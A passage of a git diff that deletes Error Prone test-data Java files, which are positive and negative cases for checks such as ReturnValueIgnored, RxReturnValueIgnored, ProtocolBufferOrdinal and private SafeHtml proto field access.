a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderNegativeCase1.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkArgument; - -import com.google.common.base.Preconditions; - -public class PreconditionsInvalidPlaceholderNegativeCase1 { - Integer foo; - - public void checkPositive(int x) { - checkArgument(x > 0, "%s > 0", x); - } - - public void checkTooFewArgs(int x) { - checkArgument(x > 0, "%s %s", x); - } - - public void checkFoo() { - Preconditions.checkState(foo.intValue() == 0, "foo must be equal to 0 but was %s", foo); - } - - public static void checkNotNull(Object foo, String bar, Object baz) {} - - public void checkSelf() { - checkNotNull(foo, "Foo", this); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderPositiveCase1.java deleted file mode 100644 index 8e043c7f943..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderPositiveCase1.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkArgument; - -import com.google.common.base.Preconditions; -import com.google.common.base.Verify; - -public class PreconditionsInvalidPlaceholderPositiveCase1 { - int foo; - - public void checkPositive(int x) { - // BUG: Diagnostic contains: %s > 0 - checkArgument(x > 0, "%d > 0", x); - } - - public void checkFoo() { - // BUG: Diagnostic contains: foo must be equal to 0 but was %s - Preconditions.checkState(foo == 0, "foo must be equal to 0 but was {0}", foo); - } - - public void verifyFoo(int x) { - // BUG: Diagnostic contains: - Verify.verify(x > 0, "%d > 0", x); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodNegativeCases.java deleted file mode 100644 index 90fa44d9d5e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodNegativeCases.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class PrimitiveArrayPassedToVarargsMethodNegativeCases { - - public void intVarargsMethod(int... ints) {} - - public void intArrayVarargsMethod(int[]... intArrays) {} - - public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {} - - public void doIt() { - int[] intArray = {1, 2, 3}; - - intVarargsMethod(intArray); - intArrayVarargsMethod(intArray); - objectVarargsMethodWithMultipleParams(new Object()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodPositiveCases.java deleted file mode 100644 index 64c390b0374..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodPositiveCases.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Arrays; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class PrimitiveArrayPassedToVarargsMethodPositiveCases { - - public void objectVarargsMethod(Object... objs) {} - - public void genericVarargsMethod(T... genericArrays) {} - - public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {} - - public void doIt() { - int[] intArray = {1, 2, 3}; - - // BUG: Diagnostic contains: - objectVarargsMethod(intArray); - - // BUG: Diagnostic contains: - genericVarargsMethod(intArray); - - // BUG: Diagnostic contains: - objectVarargsMethodWithMultipleParams(new Object(), intArray); - - // BUG: Diagnostic contains: - Arrays.asList(intArray); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessNegativeCases.java deleted file mode 100644 index fd0e83ee2ac..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.html.types.SafeHtml; -import com.google.common.html.types.SafeHtmlProto; -import com.google.common.html.types.SafeHtmls; - -public class PrivateSecurityContractProtoAccessNegativeCases { - static SafeHtmlProto safeHtmlProto; - - static { - safeHtmlProto = SafeHtmls.toProto(SafeHtml.EMPTY); - } - - static SafeHtml safeHtml; - - static { - safeHtml = SafeHtmls.fromProto(safeHtmlProto); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessPositiveCases.java deleted file mode 100644 index b291dd9ca69..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessPositiveCases.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.html.types.SafeHtmlProto; -import com.google.protobuf.ByteString; - -public class PrivateSecurityContractProtoAccessPositiveCases { - static SafeHtmlProto safeHtmlProto; - - static { - safeHtmlProto = - SafeHtmlProto.newBuilder() - // BUG: Diagnostic contains: Forbidden access to a private proto field - .clearPrivateDoNotAccessOrElseSafeHtmlWrappedValue() - // BUG: Diagnostic contains: Forbidden access to a private proto field - .setPrivateDoNotAccessOrElseSafeHtmlWrappedValue("foo") - .build(); - } - - static SafeHtmlProto safeHtmlProtoFromBytes; - - static { - safeHtmlProtoFromBytes = - SafeHtmlProto.newBuilder() - // BUG: Diagnostic contains: Forbidden access to a private proto field - .setPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(ByteString.copyFromUtf8("foo")) - .build(); - } - - static String readSafeHtmlProto(SafeHtmlProto safeHtmlProto) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue(); - } - return ""; - } - - static ByteString readSafeHtmlProtoBytes(SafeHtmlProto safeHtmlProto) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(); - } - - static String readSafeHtmlProtoBuilder(SafeHtmlProto.Builder safeHtmlProto) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue(); - } - return ""; - } - - static ByteString readSafeHtmlProtoBuilderBytes(SafeHtmlProto.Builder safeHtmlProto) { - // BUG: Diagnostic contains: Forbidden access to a private proto field - return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalNegativeCases.java deleted file mode 100644 index 9b20839a2f5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalNegativeCases.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum; - -/** Negative test cases for {@link ProtocolBufferOrdinal} check. */ -public class ProtocolBufferOrdinalNegativeCases { - - public static void checkProtoEnum() { - TestEnum.TEST_ENUM_VAL.getNumber(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalPositiveCases.java deleted file mode 100644 index 33bcf1fae73..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalPositiveCases.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum; - -/** Positive test cases for {@link ProtocolBufferOrdinal} check. */ -public class ProtocolBufferOrdinalPositiveCases { - - public static void checkCallOnOrdinal() { - // BUG: Diagnostic contains: ProtocolBufferOrdinal - TestEnum.TEST_ENUM_VAL.ordinal(); - - // BUG: Diagnostic contains: ProtocolBufferOrdinal - ProtoLiteEnum.FOO.ordinal(); - } - - enum ProtoLiteEnum implements com.google.protobuf.Internal.EnumLite { - FOO(1), - BAR(2); - private final int number; - - private ProtoLiteEnum(int number) { - this.number = number; - } - - @Override - public int getNumber() { - return number; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java deleted file mode 100644 index 6573602ee12..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; - -public class RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases { - void assertionErrorNonStringConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - throw new AssertionError(1); - } - } - - void assertionErrorNoArgConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - throw new AssertionError(); - } - } - - void noThrowAssertionError() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - throw new IllegalStateException(e); - } - } - - void noCatchReflectiveOperationException() { - try { - throw new ReflectiveOperationException(); - } catch (Exception e) { - throw new AssertionError(e); - } - } - - void multiCatchExceptions() { - try { - int a = 100; - if (a < 100) { - throw new IOException("Test"); - } - throw new ReflectiveOperationException(); - } catch (IOException | ReflectiveOperationException e) { - throw new AssertionError(e); - } - } - - void throwNewReflectiveOperationException() { - throw new AssertionError(new ReflectiveOperationException("Test")); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java deleted file mode 100644 index 3727561186a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java +++ /dev/null @@ -1,64 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases { - void assertionErrorExceptionConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - // BUG: Diagnostic contains: throw new LinkageError(e.getMessage(), e); - throw new AssertionError(e); - } - } - - void assertionErrorStringConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - // BUG: Diagnostic contains: throw new LinkageError("Test", e); - throw new AssertionError("Test", e); - } - } - - void assertionErrorStringFormatConstructor() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e) { - // BUG: Diagnostic contains: throw new LinkageError(String.format("Test"), e); - throw new AssertionError(String.format("Test"), e); - } - } - - void multiLineCatchBlock() { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e1) { - int a = 100; - if (a < 100) { - try { - throw new ReflectiveOperationException(); - } catch (ReflectiveOperationException e2) { - // BUG: Diagnostic contains: throw new LinkageError(e2.getMessage(), e2); - throw new AssertionError(e2); - } - } - // BUG: Diagnostic contains: throw new LinkageError(e1.getMessage(), e1); - throw new AssertionError(e1); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredNegativeCases.java deleted file mode 100644 index b2196924104..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredNegativeCases.java +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.math.BigInteger; -import java.util.Arrays; -import java.util.HashMap; -import java.util.Map; -import java.util.function.Function; - -/** - * @author alexeagle@google.com (Alex Eagle) - */ -public class ReturnValueIgnoredNegativeCases { - - private String a = "thing"; - - { - String b = a.trim(); - System.out.println(a.trim()); - new String(new BigInteger(new byte[] {0x01}).add(BigInteger.ONE).toString()); - } - - String run() { - return a.trim(); - } - - public void methodDoesntMatch() { - Map map = new HashMap(); - map.put("test", 1); - } - - public void methodDoesntMatch2() { - final String b = a.toString().trim(); - } - - public void acceptFunctionOfVoid(Function arg) { - arg.apply(5); - } - - public void passReturnValueCheckedMethodReferenceToFunctionVoid() { - Function fn = (i -> null); - acceptFunctionOfVoid(fn::apply); - } - - public void arraysReturnValues() { - int[] numbers = {5, 4, 3, 2, 1}; - int result = Arrays.binarySearch(numbers, 3); - int hashCode = Arrays.hashCode(numbers); - } - - public void arraysNoReturnValues() { - int[] numbers = {5, 4, 3, 2, 1}; - Arrays.fill(numbers, 0); - Arrays.sort(numbers); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredPositiveCases.java deleted file mode 100644 index 3faed29eadb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredPositiveCases.java +++ /dev/null @@ -1,165 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; -import java.math.BigDecimal; -import java.math.BigInteger; -import java.nio.file.Path; -import java.nio.file.Paths; -import java.util.Arrays; -import java.util.Locale; - -/** - * @author alexeagle@google.com (Alex Eagle) - */ -public class ReturnValueIgnoredPositiveCases { - String a = "thing"; - - // BUG: Diagnostic contains: Return value of 'valueOf' must be used - private Runnable r = () -> String.valueOf(""); - - { // String methods - // BUG: Diagnostic contains: remove this line - String.format("%d", 10); - // BUG: Diagnostic contains: remove this line - String.format("%d", 10).trim(); - // BUG: Diagnostic contains: remove this line - java.lang.String.format("%d", 10).trim(); - // BUG: Diagnostic contains: a = a.intern() - a.intern(); - // BUG: Diagnostic contains: a = a.trim() - a.trim(); - // BUG: Diagnostic contains: a = a.trim().concat("b") - a.trim().concat("b"); - // BUG: Diagnostic contains: a = a.concat("append this") - a.concat("append this"); - // BUG: Diagnostic contains: a = a.replace('t', 'b') - a.replace('t', 'b'); - // BUG: Diagnostic contains: a = a.replace("thi", "fli") - a.replace("thi", "fli"); - // BUG: Diagnostic contains: a = a.replaceAll("i", "b") - a.replaceAll("i", "b"); - // BUG: Diagnostic contains: a = a.replaceFirst("a", "b") - a.replaceFirst("a", "b"); - // BUG: Diagnostic contains: a = a.toLowerCase() - a.toLowerCase(); - // BUG: Diagnostic contains: a = a.toLowerCase(Locale.ENGLISH) - a.toLowerCase(Locale.ENGLISH); - // BUG: Diagnostic contains: a = a.toUpperCase() - a.toUpperCase(); - // BUG: Diagnostic contains: a = a.toUpperCase(Locale.ENGLISH) - a.toUpperCase(Locale.ENGLISH); - // BUG: Diagnostic contains: a = a.substring(0) - a.substring(0); - // BUG: Diagnostic contains: a = a.substring(0, 1) - a.substring(0, 1); - } - - StringBuffer sb = new StringBuffer("hello"); - - { - // BUG: Diagnostic contains: - sb.toString().trim(); - } - - BigInteger b = new BigInteger("123456789"); - - { // BigInteger methods - // BUG: Diagnostic contains: b = b.add(new BigInteger("3")) - b.add(new BigInteger("3")); - // BUG: Diagnostic contains: b = b.abs() - b.abs(); - // BUG: Diagnostic contains: b = b.shiftLeft(3) - b.shiftLeft(3); - // BUG: Diagnostic contains: b = b.subtract(BigInteger.TEN) - b.subtract(BigInteger.TEN); - } - - BigDecimal c = new BigDecimal("1234.5678"); - - { // BigDecimal methods - // BUG: Diagnostic contains: c = c.add(new BigDecimal("1.3")) - c.add(new BigDecimal("1.3")); - // BUG: Diagnostic contains: c = c.abs() - c.abs(); - // BUG: Diagnostic contains: c = c.divide(new BigDecimal("4.5")) - c.divide(new BigDecimal("4.5")); - // BUG: Diagnostic contains: - new BigDecimal("10").add(c); - } - - Path p = Paths.get("foo/bar/baz"); - - { // Path methods - // BUG: Diagnostic contains: p = p.getFileName(); - p.getFileName(); - // BUG: Diagnostic contains: p = p.getName(0); - p.getName(0); - // BUG: Diagnostic contains: p = p.getParent(); - p.getParent(); - // BUG: Diagnostic contains: p = p.getRoot(); - p.getRoot(); - // BUG: Diagnostic contains: p = p.normalize(); - p.normalize(); - // BUG: Diagnostic contains: p = p.relativize(p); - p.relativize(p); - // BUG: Diagnostic contains: p = p.resolve(p); - p.resolve(p); - // BUG: Diagnostic contains: p = p.resolve("string"); - p.resolve("string"); - // BUG: Diagnostic contains: p = p.resolveSibling(p); - p.resolveSibling(p); - // BUG: Diagnostic contains: p = p.resolveSibling("string"); - p.resolveSibling("string"); - // BUG: Diagnostic contains: p = p.subpath(0, 1); - p.subpath(0, 1); - // BUG: Diagnostic contains: p = p.toAbsolutePath(); - p.toAbsolutePath(); - try { - // BUG: Diagnostic contains: p = p.toRealPath(); - p.toRealPath(); - } catch (IOException e) { - } - } - - int[] numbers = {5, 4, 3, 2, 1}; - Object[] objects = {new Object(), new Object()}; - - { // Arrays methods - // BUG: Diagnostic contains: Return value of 'asList' must be used - Arrays.asList(5, 4, 3, 2, 1); - // BUG: Diagnostic contains: Return value of 'binarySearch' must be used - Arrays.binarySearch(numbers, 3); - // BUG: Diagnostic contains: Return value of 'copyOf' must be used - Arrays.copyOf(numbers, 3); - // BUG: Diagnostic contains: Return value of 'copyOfRange' must be used - Arrays.copyOfRange(numbers, 1, 3); - // BUG: Diagnostic contains: Return value of 'deepEquals' must be used - Arrays.deepEquals(objects, objects); - // BUG: Diagnostic contains: Return value of 'deepHashCode' must be used - Arrays.deepHashCode(objects); - // BUG: Diagnostic contains: Return value of 'deepToString' must be used - Arrays.deepToString(objects); - // BUG: Diagnostic contains: Return value of 'equals' must be used - Arrays.equals(objects, objects); - // BUG: Diagnostic contains: Return value of 'hashCode' must be used - Arrays.hashCode(objects); - // BUG: Diagnostic contains: Return value of 'toString' must be used - Arrays.toString(objects); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredNegativeCases.java deleted file mode 100644 index b2a0fb6025c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredNegativeCases.java +++ /dev/null @@ -1,112 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.CanIgnoreReturnValue; -import io.reactivex.Flowable; -import io.reactivex.Maybe; -import io.reactivex.Observable; -import io.reactivex.Single; -import java.util.HashMap; -import java.util.Map; - -/** - * @author friedj@google.com (Jake Fried) - */ -public class RxReturnValueIgnoredNegativeCases { - interface CanIgnoreMethod { - @CanIgnoreReturnValue - Observable getObservable(); - - @CanIgnoreReturnValue - Single getSingle(); - - @CanIgnoreReturnValue - Flowable getFlowable(); - - @CanIgnoreReturnValue - Maybe getMaybe(); - } - - public static class CanIgnoreImpl implements CanIgnoreMethod { - @Override - public Observable getObservable() { - return null; - } - - @Override - public Single getSingle() { - return null; - } - - @Override - public Flowable getFlowable() { - return null; - } - - @Override - public Maybe getMaybe() { - return null; - } - } - - static void callIgnoredInterfaceMethod() { - new CanIgnoreImpl().getObservable(); - new CanIgnoreImpl().getSingle(); - new CanIgnoreImpl().getFlowable(); - new CanIgnoreImpl().getMaybe(); - } - - static void putInMap() { - Map> map1 = new HashMap<>(); - Map> map2 = new HashMap<>(); - Map> map3 = new HashMap<>(); - HashMap> map4 = new HashMap<>(); - - map1.put(new Object(), null); - map2.put(new Object(), null); - map3.put(new Object(), null); - map4.put(new Object(), null); - } - - @CanIgnoreReturnValue - Observable getObservable() { - return null; - } - - @CanIgnoreReturnValue - Single getSingle() { - return null; - } - - @CanIgnoreReturnValue - Flowable getFlowable() { - return null; - } - - @CanIgnoreReturnValue - Maybe getMaybe() { - return null; - } - - void checkIgnore() { - getObservable(); - getSingle(); - getFlowable(); - getMaybe(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredPositiveCases.java deleted file mode 100644 index 1d0ef348005..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredPositiveCases.java +++ /dev/null @@ -1,152 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.CanIgnoreReturnValue; -import io.reactivex.Flowable; -import io.reactivex.Maybe; -import io.reactivex.Observable; -import io.reactivex.Single; -import java.util.Arrays; -import java.util.HashMap; -import java.util.Map; - -/** - * @author friedj@google.com (Jake Fried) - */ -public class RxReturnValueIgnoredPositiveCases { - private static Observable getObservable() { - return null; - } - - private static Single getSingle() { - return null; - } - - private static Flowable getFlowable() { - return null; - } - - private static Maybe getMaybe() { - return null; - } - - { - new Observable(); - new Single(); - new Flowable(); - new Maybe(); - - // BUG: Diagnostic contains: Rx objects must be checked. - getObservable(); - // BUG: Diagnostic contains: Rx objects must be checked. - getSingle(); - // BUG: Diagnostic contains: Rx objects must be checked. - getFlowable(); - // BUG: Diagnostic contains: Rx objects must be checked. - getMaybe(); - - // BUG: Diagnostic contains: Rx objects must be checked. - Arrays.asList(1, 2, 3).forEach(n -> getObservable()); - // BUG: Diagnostic contains: Rx objects must be checked. - Arrays.asList(1, 2, 3).forEach(n -> getSingle()); - // BUG: Diagnostic contains: Rx objects must be checked. - Arrays.asList(1, 2, 3).forEach(n -> getFlowable()); - // BUG: Diagnostic contains: Rx objects must be checked. - Arrays.asList(1, 2, 3).forEach(n -> getMaybe()); - } - - private abstract static class IgnoringParent { - @CanIgnoreReturnValue - abstract T ignoringFunction(); - } - - private class NonIgnoringObservableChild extends IgnoringParent> { - @Override - Observable ignoringFunction() { - return null; - } - } - - private class NonIgnoringSingleChild extends IgnoringParent> { - @Override - Single ignoringFunction() { - return null; - } - } - - private class NonIgnoringFlowableChild extends IgnoringParent> { - @Override - Flowable ignoringFunction() { - return null; - } - } - - private class NonIgnoringMaybeChild extends IgnoringParent> { - @Override - Maybe ignoringFunction() { - return null; - } - } - - public void inheritanceTest() { - NonIgnoringObservableChild observableChild = new NonIgnoringObservableChild(); - NonIgnoringSingleChild singleChild = new NonIgnoringSingleChild(); - NonIgnoringFlowableChild flowableChild = new NonIgnoringFlowableChild(); - NonIgnoringMaybeChild maybeChild = new NonIgnoringMaybeChild(); - - // BUG: Diagnostic contains: Rx objects must be checked. - observableChild.ignoringFunction(); - // BUG: Diagnostic contains: Rx objects must be checked. - singleChild.ignoringFunction(); - // BUG: Diagnostic 